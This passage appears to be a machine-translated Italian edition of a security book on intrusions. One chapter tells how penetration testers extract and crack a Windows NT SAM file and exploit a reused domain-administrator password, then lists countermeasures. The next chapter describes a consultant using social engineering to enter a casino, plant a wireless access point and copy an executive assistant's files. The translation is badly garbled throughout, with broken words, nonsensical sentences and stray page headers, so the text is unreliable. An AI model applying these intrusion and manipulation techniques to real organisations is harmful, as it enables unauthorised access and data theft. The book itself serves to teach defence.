Il server è in esecuzione Windows NT 4.0. Gli aggressori volevano ottenere una copia del file Security Accounts Manager (SAM), che conteneva i dettagli di account utente, gruppi, le politiche, e controlli di accesso. Sotto questa versione precedente del sistema operativo, che ha eseguito il "rdisk / s" com-

comando di fare un disco di ripristino di emergenza. Questo programma crea inizialmente

Capitolo 9 Sul continente

213

Pagina 235

diversi file in una directory chiamata "riparazione". Tra i file è stato un versione aggiornata del file SAM che conteneva gli hash delle password per tutti gli account sul server. All'inizio di Louis e Brock recuperato il File PWL contenente le password sensibili dal laptop di una guardia di sicurezza; ora stavano estraendo le password criptate degli utenti su uno dei server della società stessa. Hanno semplicemente copiato il file SAM nel webroot del server Web. "Poi, usando un browser web, abbiamo recuperato esso dal server alla nostra macchina nel nostro ufficio".

Quando ebbero incrinato le password dal file SAM, cosa notato è che c'era un altro account di amministratore sul locale macchina che era diverso l'account amministratore incorporato.

Dopo Credo sia stato un paio di ore di rottura, siamo stati in grado per rompere la password per l'account e quindi tentare

per autenticare al controller di dominio primario. E noi

scoperto che l'account locale che aveva i diritti di amministratore

sul server web abbiamo violato anche avuto la stessa password su

dominio! L'account ha avuto anche i diritti di amministratore di dominio.

Quindi c'era un account di amministratore locale sul server web che

aveva lo stesso nome di un account di amministratore di dominio per il

intero dominio, e la password per entrambi i conti è stato

anche la stessa. Evidentemente era un amministratore di essere pigro e

la creazione di un secondo account con lo stesso nome del ammini-

contatore sul sistema locale, e dandogli la stessa

password.

Step-by-step. L'account locale era semplicemente un amministratore sul Web

server e non hanno privilegi per l'intero dominio. Ma recuperando

la password di tale account del server Web locale, grazie ad un distratto, pigro

amministratore, erano ora in grado di compromettere il dominio ammini-

contatore. La responsabilità di un amministratore di dominio è quello di sommi-

ster o il gestore di un intero dominio, in quanto distinto da essere un

amministratore sul desktop locale o portatile (singola macchina). In

Vista di Louis, questo amministratore non era un'eccezione.

Questa è una pratica comune che vediamo tutto il tempo. A strazione dominio

dalità creerà account locali sulla loro macchina sulla rete

lavorare, e utilizzare la stessa password per i loro account con dominio

privilegi di amministratore. E questo significa che la sicurezza di ciascuno di essi

di tali sistemi locali possono essere utilizzati per compromettere la sicurezza del

intero dominio.

L'arte dell'intrusione

214

Pagina 236

Obiettivo raggiunto

Avvicinarsi. Louis e Brock visto che ora potevano ottenere il controllo completo

il server applicazioni ei dati in esso contenuti. Hanno ottenuto

l'indirizzo IP utilizzato per la connessione al server di applicazione dalla sicurezza

laptop di guardia. Da questo, si sono resi conto il server delle applicazioni era sulla stessa rete, che è probabilmente parte dello stesso dominio. Alla fine, hanno avuto pieno controllo delle attività dell'intera società.

Ora abbiamo raggiunto proprio al cuore del business. Potremmo modificare gli ordini su quel server di applicazione, così abbiamo potuto ottenere il controllo di consegnare i soldi a cui abbiamo detto. Potremmo essenzialmente emettere ordini alle guardie come, "Pick up soldi da questa attività e scendere a questo indirizzo, "e siete in attesa lì per farlo quando arrivano.

O "Pick up questo prigioniero A, portarlo a questa posizione, lo consegneranno alla custodia di questa persona, "e tu hai appena ottenuto di tuo cugino migliore amico fuori di prigione.

O un terrorista.

Avevano in mano uno strumento per diventare ricchi, o creando scompiglio. "E' era un po' scioccante perché non vedono la possibilità di quello che potrebbe accaduto non avevamo portato questo alla loro attenzione ", spiega Louis.

Che questa società considera "sicurezza", egli crede, "è in realtà *sospetto* sicurezza. "

Io

Nsight

Louis e Brock non si sono arricchiscono dal potere hanno tenuto in le loro mani, e che non ha emesso ordini di avere prigionieri rilasciati o trasferiti. Invece, hanno fornito all'azienda un rapporto completo di ciò che aveva scoperto.

Dal suono di esso, la società era stata gravemente negligente. Essi non era passato attraverso un passo-passo-analisi dei rischi - "Se la prima macchina viene compromessa, cosa potrebbe fare un hacker da quel punto? "e così via.

Essi consideravano sicuro perché con qualche configurazione modifiche, potrebbero colmare il divario Louis aveva indicato. Il loro presupposto era che non c'erano altri difetti, tranne questo che Luigi e Brock era riuscito a trovare e utilizzare.

Louis vede questo come un'arroganza comune nel settore delle aziende - una estraneo non può venire a predicare la sicurezza per loro. Azienda IT

Capitolo 9 Sul continente

215

la gente non importa di essere raccontato alcune cose che devono essere corretti, ma non accetteranno a nessuno dicendo loro che cosa devono fare. Essi pensano di sapere già. Quando si verifica una violazione, essi figura hanno appena lasciato cadere la palla in questa sola occasione.

C

OUNTERMEASURES

Come in molte delle storie di questo libro, gli aggressori qui non hanno trovato molte falle di sicurezza nella loro società target, eppure i pochi che hanno trovato erano abbastanza per permettere loro di possedere tutto il dominio del computer aziendale sistemi che erano essenziali per le operazioni di business. Di seguito sono riportati alcuni lezioni di degno di nota.

Soluzioni alternative temporanee

Ad un certo momento nel passato, l'apparecchio 3Com era stato inserito direttamente alla porta seriale del router Cisco. Mentre la pressione di rispondere

bisogni immediati possono giustificare scorciatoie tecnologiche temporanee, non com-azienda può permettersi di lasciare "temporaneo" diventano "per sempre". Un programma dovrebbe essere impostato per controllare la configurazione dei dispositivi gateway attraverso ispezione fisica e logica, oppure utilizzando uno strumento di sicurezza che cont-alleato controlla se eventuali porte aperte esistenti su un host o un dispositivo è in accordo con la politica di sicurezza aziendale.

Utilizzando ad alta Ports

La società di sicurezza ha configurato un router Cisco per consentire a distanza connessioni su una porta alta, probabilmente nella convinzione che una porta ad alta sarebbe mai abbastanza oscura per essere inciampato su da un utente malintenzionato - un'altra versione dell'approccio "sicurezza attraverso l'oscurità".

Abbiamo già affrontato la questione più di una volta in queste pagine circa la follia di ogni decisione sicurezza basata su questo atteggiamento. Le storie di questo libro dimostrano ancora una volta che se si lascia un unico gap, alcuni attaccante prima o poi trovarlo. La pratica migliore è quello di garantire la sicurezza che i punti di accesso di tutti i sistemi e dispositivi, oscure o meno, essere filtro trato da qualsiasi rete non attendibile.

Password

Ancora una volta, tutte le password predefinite per ogni dispositivo devono essere modificati prima del sistema o dispositivo in produzione. Anche la tecnica

L'arte dell'intrusione

216

bianchi cinture fanno comune di sorveglianza e come sfruttarlo. (Diversi siti sul Web, come www.phenoelit.de/dpl/dpl.html, forniscono un elenco di nomi utente e password di default.)

Protezione Laptop personale

I sistemi utilizzati dai lavoratori remoti della società sono state collegata zione alla rete aziendale con poca o nessuna sicurezza, una situazione fin troppo comune. Un cliente aveva anche PC configurato Anywhere per consentire connessioni remote senza nemmeno richiedere una password. Anche se la computer era la connessione a Internet tramite dial-up, e solo per molto periodi di tempo limitati, ogni connessione crea una finestra di esposizione.

Gli aggressori sono stati in grado di controllare a distanza la macchina collegando per il computer portatile che esegue PC Anywhere. E perché era stato istituito senza richiedere una password, gli hacker sono riusciti a dirottare l'utente del Desktop solo conoscendo l'indirizzo IP.

Redattori criteri IT dovrebbero considerare un requisito che i sistemi client mantenere un certo livello di sicurezza prima di essere autorizzati a connettersi a la rete aziendale. I prodotti sono disponibili che installare gli agenti sul sistemi client per garantire i controlli di sicurezza sono commisurati com-politica società; accesso in caso contrario, il sistema client viene negato a aziendale risorse di calcolo. I cattivi ragazzi stanno per analizzare i loro obiettivi esaminando l'intero quadro. Ciò significa cercare di individuare se un agli utenti di connettersi in remoto, e in tal caso, l'origine di tali connessioni. Il attaccante sa se lui o lei può compromettere un computer affidabile che è utilizzato per connettersi alla rete aziendale, è altamente probabile che questa fiducia relazione può essere abusata per ottenere l'accesso alle informazioni aziendali risorse.

Anche quando la sicurezza viene ben gestita all'interno di una società, non vi è troppo

spesso una tendenza a trascurare i computer portatili e computer di casa usati dai dipendenti per l'accesso alla rete aziendale, lasciando un'apertura che gli aggressori possono sfruttare, come quello che è successo in questa storia. Portatili e home computer che si connettono alla rete interna devono essere sicuro; in caso contrario, il sistema informatico del dipendente può essere l'anello debole che è sfruttato.

Autenticazione

Gli aggressori, in questo caso sono stati in grado di estrarre l'autenticazione informazioni dal sistema del cliente senza essere scoperto. Come è stato sottolineato ripetutamente nei capitoli precedenti, una forma più forte di autenticazione sarà

Capitolo 9 Sul continente

217

fermare la maggior parte degli aggressori morti nella loro tracce, e le aziende dovrebbero prendere in considerazione

utilizzando password dinamiche, smart card, token, o certificati digitali come mezzi di autenticazione per l'accesso remoto in VPN o altri sensibili sistemi.

Filtraggio dei servizi non necessari

Il personale IT deve considerare la creazione di un insieme di regole di filtro per controllare sia connessioni in entrata e in uscita verso host e servizi specifici di reti inaffidabili come Internet, così come di semi-trusted (DMZ) le reti all'interno della società.

Indurimento

La storia fornisce anche un promemoria di uno staff IT che non si sono preoccupati di indurire i sistemi informatici connessi alla rete interna, o di tenere up-to-date con le patch di sicurezza, presumibilmente a causa della percezione che il rischio di compromissione era basso. Questa pratica comune dà i cattivi un vantaggio. Una volta che l'attaccante trova il modo per accedere a un singolo sistema non protetto interna ed è in grado di compromettere con successo, la porta è aperta per espandere l'accesso illegale ad altri sistemi che sono attendibile dal computer infetto. Ancora una volta, semplicemente basandosi sulla firewall perimetrale per tenere gli hacker a bada, senza preoccuparsi di indurire i sistemi connessi alla rete aziendale è come accumulare tutti i tuoi ricchezza in banconote da 100 dollari sul tavolo da pranzo e capire che sei al sicuro perché si mantiene la porta chiusa a chiave.

T

HE

B

OTTOM

L

INE

Dal momento che questo è l'ultimo capitolo su storie che illustrano basano tecnico attacchi, sembra come un buon posto per qualche parola di ricapitolare.

Se vi è stato chiesto di nominare passi importanti per difendersi contro i più vulnerabilità comuni che consentono agli aggressori di ottenere l'ingresso, sulla base del storie di questo libro, che cosa avrebbero alcune delle vostre scelte essere?

Si prega di pensare alla tua risposta brevemente prima lettura; poi vai a la pagina successiva.

L'arte dell'intrusione

Qualunque articoli è venuto su con alcuni dei più comuni vulnerabile
 nerabilities descritte in questo libro, spero vi siete ricordati di includere
 Almeno alcuni di questi:

- Sviluppare un processo per la gestione delle patch per garantire che tutte le aggiornamenti di sicurezza necessari siano applicate in modo tempestivo.
- Per l'accesso remoto a informazioni sensibili o di calcolo risorse, utilizzano metodi di autenticazione più forti sono prodotta mediante password statiche.
- Modificare tutte le password predefinite.
- Utilizzare un modello di difesa in profondità in modo che un singolo punto di errore non mettere a repentaglio la sicurezza, e testare regolarmente questo modello su base regolare.
- Stabilire una policy di sicurezza aziendale concernente il filtraggio di traffico in entrata e in uscita.
- Harden tutti i sistemi basati sul client che accedono informazioni sensibili risorse zione o di calcolo. Non dimentichiamo che il persistent attaccante rivolge anche sistemi client a uno dirottare un collegamento legittimo o di sfruttare un rapporto di fiducia tra il sistema client e la rete aziendale.
- Usare rilevatori di intrusione per identificare il traffico sospetto o tentativi di sfruttare le vulnerabilità note. Tali sistemi possono, così, identificare un insider dannoso o un attaccante che ha già compromesso il perimetro protetto.
- Abilitare funzioni di controllo del sistema operativo e di critica applicazioni. Inoltre, assicurarsi che i registri sono conservati su un host sicuro che non ha altri servizi e il mero minimo BER di account utente.

Capitolo 9 Sul continente

219

221

Capitolo 10

Gli ingegneri sociali - How They Lavoro e come fermarli

L'ingegnere sociale impiega le stesse tecniche di persuasione il resto di noi utilizzare ogni giorno. Prendiamo ruoli. Cerchiamo di costruire credibilità. Chiediamo in natario obblighi ROCAL. Ma l'ingegnere sociale applica queste tecniche in un , modo manipolativo ingannevole, altamente immorale, spesso devastanti effetto.

- Sociopsicologo Dr. Brad Sagarin

T

il suo capitolo fa qualcosa di un po 'diverso: Guardiamo al massimo difficile tipo di attacco per rilevare e difendersi. Il sociale ingegnere, o l'attaccante tecnico del ramo di inganno come uno

le armi in suo toolkit, prede sulle migliori qualità di umana natura: le nostre tendenze naturali di essere disponibile, educato, solidale, una squadra giocatore, e il desiderio di ottenere il lavoro fatto.

Come con la maggior parte delle cose nella vita che ci minacciano, il primo passo verso una difesa è la comprensione delle metodologie utilizzate dai cyber-cittadini. Quindi, vi presentiamo qui una serie di intuizioni psicologiche che analizzano le basi del comportamento umano che consentono l'ingegnere sociale di essere così influente.

Prima, però, una storia di un ingegnere sociale al lavoro di aprire gli occhi. Il saggio si basa su una storia che abbiamo ricevuto per iscritto che sia divertente e un caso da manuale di ingegneria sociale. Abbiamo pensato così bene che abbiamo incluso, nonostante alcune riserve; l'uomo o aveva accidentalmente

omesso alcuni dettagli perché era distratto su altre attività o conta oppure ha fatto porzioni della storia. Ancora, anche se alcuni di questo è finzione, rende il caso molto convincente la necessità di una migliore protezione contro gli attacchi di social engineering.

Come altrove in tutto il libro, i dettagli sono stati cambiati per proteggere sia l'attaccante e l'azienda cliente.

AS

SOCIALI

E

INGINEER AT

W

ORK

Nell'estate del 2002, un consulente di sicurezza la cui maniglia è "Whurley" è stato assunto da un gruppo di resort a Las Vegas per eseguire una varietà di sicurezza audit. Erano in fase di reingegnerizzazione loro approccio alla sicurezza e lo assunse a "cercare di aggirare qualsiasi e tutti i processi" in un sforzo per aiutare a costruire una migliore infrastruttura di sicurezza. Ha avuto un sacco di esperienza tecnica, ma poca esperienza di essere in un casinò.

Dopo una settimana o giù di lì di immergendosi nella ricerca sulla cultura Striscia, era giunto il momento per il vero Las Vegas. Lui di solito ha fatto una pratica ad avviare un lavoro come questo precoce, ottenendo finito prima che fosse ufficialmente in scaletta,

ULED per iniziare, perché nel corso degli anni aveva scoperto che i manager non lo fanno raccontare i dipendenti di un potenziale controllo fino alla settimana pensano che sta andando per accadere. "Anche se non dovrebbe dare a nessuno un testa a testa, che fare. "Ma lui facilmente aggirato questo eseguendo il controllo in due settimane prima della data prevista.

Anche se era nove di sera per il momento è arrivato e si stabilì nella sua camera d'albergo, Whurley andato dritto al primo casinò della sua lista per iniziare la sua ricerca sul campo. Non avendo speso un sacco di tempo nei casinò, questa esperienza era piuttosto una rivelazione per lui. La prima cosa che notò contraddetto quello che aveva visto sul canale Viaggi, dove ogni membro dello staff del casino illustrato o intervistato sembrava essere uno specialista di sicurezza d'élite. La maggioranza degli i dipendenti Guardò sul posto sembrava essere "sia morto addormentato su i loro piedi o completamente compiacente nel loro lavoro ". Entrambe queste condizioni li renderebbe facile bersaglio per il più semplice dei giochi di fiducia - che non era nemmeno intenzione di avvicinarsi a quello che aveva pianificato.

Si avvicinò un impiegato molto rilassato e con un po' di dotto
Ding ha trovato la persona disposta a discutere i dettagli del suo lavoro. Ironia della sorte,
In precedenza era stato impiegato da client-casinò di Whurley. "Allora, scommetto
che era molto meglio, eh?" chiese Whurley.

L'impiegato ha risposto, "Non proprio. Qui vengo pavimento sottoposti ad audit tutte le
tempo. Laggiù difficilmente notato se ero un po' indietro, più o meno

L'arte dell'intrusione

222

in questo modo per tutto. . . orologi, spille, orari, a prescindere.

La loro mano destra non sa quello che loro sinistra sta facendo. "

L'uomo ha anche spiegato che ha usato per perdere il suo distintivo impiegato tutto il
tempo, e qualche volta sarebbe solo condividere un badge con un altro dipendente
per entrare in per i pasti gratuiti forniti ai dipendenti nelle mense del personale
situato all'interno delle viscere del casinò.

La mattina dopo Whurley formulato il suo obiettivo, che era
semplice - avrebbe ottenuto in ogni area del casinò protetta
che poteva, documentano la sua presenza, e cercare di penetrare il maggior numero di
sistemi di sicurezza che poteva. Inoltre, voleva sapere se lui
potrebbe ottenere l'accesso a uno dei sistemi che correvano i dati finanziari o detenuto
altre informazioni sensibili, come informazioni turistiche.

Quella notte, sulla via del ritorno al suo albergo dopo aver visitato il casinò di destinazione,
udì una promozione alla radio per un club fitness che offre una speciale per
dipendenti del settore servizi. Ha avuto qualche sonno e la mattina dopo
testa per il fitness club.

Al club, ha di mira una signora di nome Lenore. "In 15 minuti abbiamo avuto
stabilito una 'connessione spirituale' ". Questo si è rivelato essere grande perché
Lenore era un revisore dei conti e ha voluto sapere tutto quello che
aveva a che fare con le parole "finanziaria" e "audit" al casinò di destinazione. Se
poteva penetrare i sistemi finanziari nel suo controllo, era sicuro di essere
visto come un enorme falla di sicurezza dal cliente.

Uno dei trucchi preferiti di Whurley da usare quando è ingegneria sociale è
l'arte della lettura a freddo. Mentre stavano parlando, l'avrebbe osservare non
segnali verbali e poi buttare via qualcosa che avrebbe portato lei a dire,
«Oh, no merda - Me, troppo" Hanno colpito se fuori, e lui le ha chiesto di uscire a cena.

Durante la cena, Whurley le disse che era nuovo a Las Vegas e guardare
per un lavoro, che era andato a importanti università e aveva una laurea in
Finanza, ma che si era trasferito a Las Vegas dopo la rottura con la sua ragazza-
amico. Il cambio di passo lo avrebbe aiutato a superare la rottura. Poi
ha confessato di essere un po' intimiditi, cercando di ottenere un lavoro di revisione
a Las Vegas perché non voleva finire "nuotare con gli squali."

Ha trascorso un paio di ore rassicurandolo che non avrebbe
un momento difficile ottenere un posto di lavoro di finanza. Per dare una mano, Lenore gli fornì
maggiori dettagli sul suo lavoro e il suo datore di lavoro, che ha anche bisogno. "Lei
è stata la cosa più grande che mi era successo finora su questo concerto, e io
volentieri pagato per la cena - che stavo per oneri comunque "

Guardando indietro, ha detto che a questo punto era troppo sicuro di sé per la sua
abilità ", che mi è costato più tardi." Era ora di iniziare. Aveva preparato un
Capitolo 10 ingegneri sociali - come funzionano e come fermarli

223

borsa con "un paio di chicche, tra cui il mio computer portatile, una banda larga Orinoco wireless gateway, un'antenna, e pochi altri accessori. "L'obiettivo era semplice.

Provate a entrare nella zona uffici del casinò, prendere un po' digitale foto (con data e ora) di se stesso in luoghi che non dovrebbero essere, e quindi installazione di un punto di accesso wireless sulla rete in modo da poter cercare di distanza incidere nei loro sistemi per raccogliere informazioni sensibili. Per completare il lavoro, il giorno dopo avrebbe dovuto tornare in per ottenere il wireless punto di accesso.

"Mi sentivo abbastanza come James Bond." Whurley arrivato al casinò, fuori l'ingresso del dipendente, proprio al cambio di turno, il posizionamento se stesso di essere in grado di osservare l'ingresso. Pensava che sarebbe stato lì in tempo per osservare le cose per alcuni minuti, ma la maggior parte delle persone sembrava di essere arrivati già e lui era bloccato cercando di camminare in tutto da se stesso.

Pochi minuti di attesa e l'ingresso era chiaro. . . che non era quello che voleva. Whurley ha, tuttavia, notare una guardia che sembrava come se stesse andando, ma è stato fermato da una seconda guardia e si fermarono intorno fumare appena fuori l'uscita. Quando hanno finito le loro sigarette, si separarono e cominciarono a camminare in direzioni opposte.

Mi diressi dall'altra parte della strada verso la guardia che stava lasciando il costruzione e pronti a usare la mia domanda disarmante preferito. Come Mi si avvicinò attraversando la strada, ho lasciato a ottenere appena passato a me.

Poi disse: "Mi scusi, mi scusi, non si ha il tempo?"

Era dal piano. "Una cosa che ho notato è che se ci si avvicina qualcuno uno dalla parte anteriore, sono quasi sempre più difensiva che se si lascia ad ottenere un po' oltre voi prima di affrontare. "Mentre la guardia stava raccontando Whurley il tempo, Whurley lo stava guardando in dettaglio. La nome distintivo identifica la guardia come Charlie. "Mentre eravamo lì, Ho avuto un colpo di fortuna. Un altro dipendente è venuto a piedi fuori e ha chiamato Charlie dal suo soprannome, formaggio. Così ho chiesto a Charlie se ha catturato merda come che molto e mi ha detto come ha ottenuto il soprannome. "

Whurley poi si diresse verso l'ingresso dei dipendenti ad un ritmo rapido.

Si dice spesso che la miglior difesa è l'attacco, e che era il suo Piano. Quando raggiunse l'ingresso, dove aveva notato dipendenti showing loro badge in precedenza, è andato dritto alla guardia alla scrivania e ha detto, "Ehi, hai visto Cheesy? Mi deve \$ 20 sul gioco e mi bisogno di soldi per ottenere qualche pranzo quando vado in vacanza. "

Ricordando quel momento, egli dice, "Dannazione! Questo è dove ho ottenuto il mio primo sfida. "Si era dimenticato che i dipendenti ricevono i loro pasti gratis. Ma lui

L'arte dell'intrusione

224

non è stato messo fuori dalla messa in discussione; mentre altri con attenzione disturbo da deficit / iperattività (ADHD) potrebbe vedere come un problema, Si Whurley descrive come " molto ADHD ", e aggiunge che, come risultato", I può pensare molto più veloce sui miei piedi oltre il 90 per cento delle persone che corro in. "Quella capacità è stata molto utile qui.

Così la guardia dice: "Che diavolo stai comprando il pranzo per un punto qualsiasi modo? "e ridacchiò, ma iniziato a cercare sospette. Rapidamente I

buttato via, "Sto incontrando un po' di miele per il pranzo. L'uomo, lei è caldo. (Questo distrae sempre ragazzi più grandi, su ragazzi di forma, e il soggiorno-con-mamma tipo ragazzi.) "Cosa devo fare?"

La guardia dice: "Beh, sei fregato perché 'di formaggio è andato per il resto della settimana. "

"Bastardo!" Dico.

La guardia poi divertito Whurley (un divertimento non osava spettacolo) inaspettatamente chiedendo se era innamorato.

Ho appena comincio a rotazione con esso. Poi ho avuto la sorpresa della mia vita. Io non hanno mai neppure avvicinarsi a qualcosa di simile. Potrebbe essere attribuita alle capacità, ma ho rack fino a fortuna cieca: il ragazzo mi dà \$ 40! Mi \$ 20 dice non comprare merda e io, ovviamente, bisogno di essere il uno che paga. Poi mi dà cinque minuti di consigli "paterni", e tutto su come avrebbe voluto che aveva conosciuto quello che sa ora quando aveva la mia età.

Whurley era "in soggezione", che il ragazzo ha comprato questo con e pagava la sua data immaginaria.

Ma, le cose non stavano andando bene come pensava Whurley, perché come Ha iniziato a piedi fuori, la guardia si rese conto che non aveva mostrato alcun ID e lo sfidato. "Allora ho detto: 'E' nella mia borsa, dispiace 'e ha iniziato scavando attraverso la mia roba come ho provveduto lontano da lui. E 'stato un vicino chiamo perché 'se lui avrebbe insistito per vedere il ID, avrei potuto essere avvilita. "

Whurley ora era dentro l'ingresso dei dipendenti, ma non aveva idea di dove andare. Non c'erano un sacco di gente che poteva seguire, così ha appena camminato con fiducia e iniziato a prendere appunti mentali di ciò che lo circonda. Lui aveva poca paura di essere contestato, a questo punto. "Divertente," disse, "come la psicologia del colore può venire in modo pratico. Io indossavo blu - il colore verità - e vestito come se fossi un dirigente minore. La maggior parte del persone che corrono intorno indossavano abiti staff, così è stato altamente improbabile che mi avrebbero in discussione. "

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

225

Mentre camminava lungo il corridoio, si accorse che uno dei cam-camere epoca appena guardato proprio come quelli che aveva visto sul viaggio Channel - una "Eye in the Sky" stanza, salvo che questo non è stato eccessivo testa. La sala esterna era "il maggior numero di videoregistratori che avessi mai visto in uno posto - wow, era raffreddare "Attraversò la stanza interna e!

poi ha fatto qualcosa di particolarmente coraggioso. "Ho appena entrato, si schiarì la gola e prima che potessero sfidare, ho detto, 'Focus sulla ragazza sul 23' "

Tutti i display sono stati numerati, e, naturalmente, c'era una ragazza su quasi tutti. Gli uomini riuniti intorno schermo 23 e tutti cominciarono parlando di quello che la ragazza potrebbe essere fino a che Whurley pensò rale rato una buona dose di paranoia. La cosa andò avanti per circa 15 minuti solo check-out persone su monitor, con Whurley decidere che il lavoro è un perfetto per chiunque con una propensione per voyeurismo.

Mentre si stava preparando a lasciare, ha annunciato: "Oh, mi sono così preso in tale azione, ho dimenticato di presentarmi. Sono Walter con interno Audit. Ho appena stato assunto sul personale di Dan Moore, "utilizzando il nome del

Preposto al Controllo Interno, che aveva raccolto in una delle sue conversazioni.
«E non sono mai stato a questa proprietà, quindi sono un po' perso. Potrebbe puntate me nella direzione degli uffici direzionali? »

I ragazzi erano più che felici di sbarazzarsi di un dirigente interferire e desiderosi di aiutare "Walter" trovare gli uffici che stava cercando. Whurley di cui la direzione hanno indicato. Vedendo nessuno in vista, ha ha deciso di dare un'occhiata in giro e abbiamo trovato una piccola stanza in cui una pausa giovane donna stava leggendo una rivista. "Era Megan, un vero e proprio bella ragazza. Così Megan ed io abbiamo parlato per qualche minuto. Poi dice, 'Oh, se siete con Internal Audit, ho alcune cose che deve andare a sostenere lì. '"

Come si è scoperto, Megan aveva un paio di scudetti, alcune note interne, e una scatola di carte che apparteneva di nuovo al gruppo resort principale interno Ufficio Audit. Pensato Whurley, "Wow, ora ho un distintivo!"

Non che la gente guarda le foto su badge di identificazione con molta attenzione, ma ha preso la precauzione di lanciare intorno in modo che solo la parte posteriore era visibile.

Mentre sto camminando fuori, vedo un dialogo aperto, ufficio vuoto. Ha due reti lavorare porti, ma non posso dire se sono caldi da solo a guardarli, così vado di nuovo a dove Megan è seduta e le dico che ho dimenticato I doveva guardarla sistema e quello in "il capo del ufficio. "Lei accetta gentilmente e mi permette di sedersi alla sua scrivania. Mi dà la sua password quando chiedo, e quindi deve utilizzare il restroom. Quindi, dico che ho intenzione di aggiungere una "sicurezza di rete monitor tor "e mostrarle il punto di accesso wireless. Lei risponde, "Qualunque cosa. Io in realtà non so molto di quella roba geniale. "

L'arte dell'intrusione

226

Mentre lei era fuori, ha installato il punto di accesso wireless e riavviato il suo desktop. Poi si rese conto che aveva un 256 Universal Serial Bus (USB) flash drive sul suo portachiavi e il pieno accesso al computer di Megan. "Comincio navigare attraverso il suo disco rigido e trovare tutti i tipi di roba buona. "Si è scoperto che era l'amministratore esecutivo per ognuno dei esecutive e che aveva organizzato i loro file per nome "tutto bello e pulito."

Afferrò tutto quello che poteva, poi, utilizzando la funzione timer sul suo gnità ital camera, ha preso una foto di se stesso seduto in ufficio del dirigente principale.

Dopo pochi minuti Megan tornato, e lui le ha chiesto indicazioni per raggiungere il Network Operations Center (NOC).

Lì incontrò "guai seri." Ha detto, "Prima di tutto, la rete stanza era segnato. . . che era fresco. Tuttavia, la porta è chiusa. »Si non aveva un badge che gli avrebbe dato l'accesso e provato a bussare.

Un signore arriva alla porta e io gli dico la stessa storia ho stato con: "Ciao, sono Walter con il Controllo Interno e bla, bla, . blah "Tranne quello che non so è che il capo di questo ragazzo - la IT regista - è seduto in ufficio. Così il ragazzo alla porta dice "Beh, ho bisogno di controllare con Richard. Aspetta qui un secondo. "

Si gira e dice a un altro ragazzo per ottenere Richard e lasciare lui sa che c'è qualcuno "affermando" di essere da interno Audit sulla porta. Pochi istanti dopo, ricevo rotto. Richard chiede che sto con, dove il mio distintivo è, e una mezza dozzina di altri domande in rapida successione. Poi dice: "Perché non vieni

nel mio ufficio mentre io chiamo il Controllo Interno e prendo questo chiarito. "

Whurley capito che "Questo ragazzo ha completamente rotto me". Ma poi, "Pensare in fretta, gli dico 'You got me!' e io stringo la mano. Ho poi dico lui 'Il mio nome è Whurley.' E raggiungo nella mia borsa per un biglietto da visita. Ho poi dirgli che sono stato giù dentro le viscere del casinò per un paio di ore e non una persona mi ha sfidato, e che egli è stato il primo e stava probabilmente andando a guardare piuttosto bene nel mio rapporto. Allora io dico, 'Andiamo seduti in ufficio, mentre si chiama over in modo da sapere tutto è legittimo. Inoltre, 'dico,' ho bisogno di andare avanti e dire a Martha, che si occupa di questo operazione, circa un paio di cose che ho visto qui. '"

Per una mossa sul posto in una situazione tesa, si è rivelato essere brillante.

Una trasformazione incredibile ha avuto luogo. Richard ha cominciato chiedendo Whurley su ciò che aveva visto, i nomi delle persone, e così via, e poi ha spiegato che aveva fatto sua revisione nel tentativo di ottenere un aumento il budget per la sicurezza per rendere il NOC più sicuro, con "biometria e Capitolo 10 ingegneri sociali - come funzionano e come fermarli

227

tutto funziona ". E ha suggerito che forse avrebbe potuto usare un po 'di Informazioni di Whurley per aiutarlo a raggiungere il suo obiettivo. Ormai era ora di pranzo. Whurley ha approfittato dell'apertura da suggerendo che forse avrebbero potuto parlarne durante il pranzo, che Richard sembrava pensare fosse una buona idea, e si sono diretti fuori insieme alla mensa del personale. "Si noti che non abbiamo chiamato ancora nessuno, a questo punto. Così Suggestisco che poniamo questa chiamata, e lui dice, "Tu hai una carta, lo so chi sei '". Così i due mangiarono insieme nella caffetteria, dove Whurley ottenuto un pasto gratuito e ha fatto un nuovo "amico".

"Ha chiesto la mia rete di fondo e abbiamo iniziato a parlare sulle AS400 che il casinò è in esecuzione tutto su. Il fatto che le cose sono andate in questo modo può essere descritto in due parole - molto spaventoso "Spaventoso

perché l'uomo è il direttore di IT, e responsabile per il calcolatore rezza rezza, è la condivisione di tutti i tipi di privilegiati, informazioni privilegiate con Whurley ma non ha mai fatto il passo più semplice di verificare la sua identità.

Commentando questo, Whurley ha osservato che "i manager di medio livello non vuole mai essere messo 'sul posto.' Come la maggior parte di noi, non vogliono mai di sbagliare o farsi fare un errore evidente. Comprensione la loro mentalità può essere un grande vantaggio. "Dopo pranzo, Richard ha portato Whurley nuovo al NOC.

"Quando camminiamo, lui mi presenta Larry sistemi principali, amministrative dalità per le AS400. Spiega a Larry che ho intenzione di essere 'RIP ping 'li in un controllo in pochi giorni, e aveva avuto a pranzo con me e mi ha fatto ad accettare di fare una verifica preliminare e salvarli qualsiasi grande imbarazzo "quando è arrivato il momento per la revisione attuale. Whurley poi trascorso qualche minuto di ottenere una panoramica dei sistemi di Larry, che raccolgono i rendo informazioni più utili per la sua relazione; per esempio, che il NOC memorizzati ed elaborati tutti i dati aggregati per l'intero gruppo loco.

Gli ho detto che mi avrebbe aiutato per aiutarlo velocemente se avessi una rete Schema di lavoro, Access Control Lists firewall, e così via, che ha

fornito solo dopo aver chiamato Richard per l'approvazione. Ho pensato, "Buon per lui."

Whurley improvvisamente si rese conto che aveva lasciato il punto di accesso wireless già negli uffici direzionali. Anche se le probabilità che egli sarebbe catturato erano scesi drasticamente da quando stabilisce suo rapporto con Richard, ha spiegato a Larry che aveva bisogno di tornare a ottenere il punto di accesso che aveva lasciato. "Per fare questo avrei bisogno di un distintivo così ho potuto lasciare

Mi torna in NOC e vanno e vengono come volevo. "Larry sembrava un po' riluttante a farlo, in modo Whurley raccomandato che egli chiama Richard L'arte dell'intrusione

228

nuovo. Ha chiamato e ha detto Richard che il visitatore voleva essere emesso un distintivo; Richard ha avuto un'idea ancora migliore: Il casinò aveva recentemente lasciato Set-dipendenti rale andare, e loro badge erano nel NOC e nessuno aveva ancora trovato il tempo per disattivarli, "quindi sarebbe bene per lui utilizzare solo uno di quelli".

Whurley tornò ad avere Larry spiegare i sistemi e descrivere le misure di sicurezza che avevano recentemente assunto. Una telefonata è arrivato dalla La moglie di Larry, apparentemente arrabbiato e sconvolto qualche problema in corso.

